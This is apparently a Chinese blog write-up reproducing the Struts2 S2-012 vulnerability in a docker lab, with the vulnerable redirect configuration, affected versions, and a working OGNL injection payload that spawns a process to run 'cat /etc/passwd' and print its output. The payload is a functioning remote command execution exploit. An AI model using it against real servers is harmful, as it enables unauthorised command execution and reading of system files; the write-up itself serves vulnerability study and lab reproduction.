一、漏洞描述:
如果在配置 Action 中 Result 时使用了重定向类型,并且还使用 ${param_name} 作为重定向变量
xml
<package name="S2-012" extends="struts-default">
<action name="user" class="com.demo.action.UserAction">
<result name="redirect" type="redirect">/index.jsp?name=${name}</result>
<result name="input">/index.jsp</result>
<result name="success">/index.jsp</result>
</action>
</package>
```
这里 UserAction 中定义有一个 name 变量,当触发 redirect 类型返回时,Struts2 获取使用 ${name} 获取其值,在这个过程中会对 name 参数的值执行 OGNL 表达式解析,从而可以插入任意 OGNL 表达式导致命令执行。
影响版本
2.1.0 - 2.3.13
二、搭建环境
kali里使用docker搭建
三、漏洞复现
访问ip+8080端口(ip为环境搭建系统的ip)

可执行的poc:
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
注意:这里面需要url编码,这个可以直接将poc复制到搜索框里,然后抓包,直接就url编码啦
四、查看日志

本文深入剖析Struts2框架中的S2-012漏洞,该漏洞允许攻击者通过恶意OGNL表达式执行任意命令。文章详细描述了漏洞的触发条件、受影响版本及复现步骤。
1052

被折叠的 条评论
为什么被折叠?



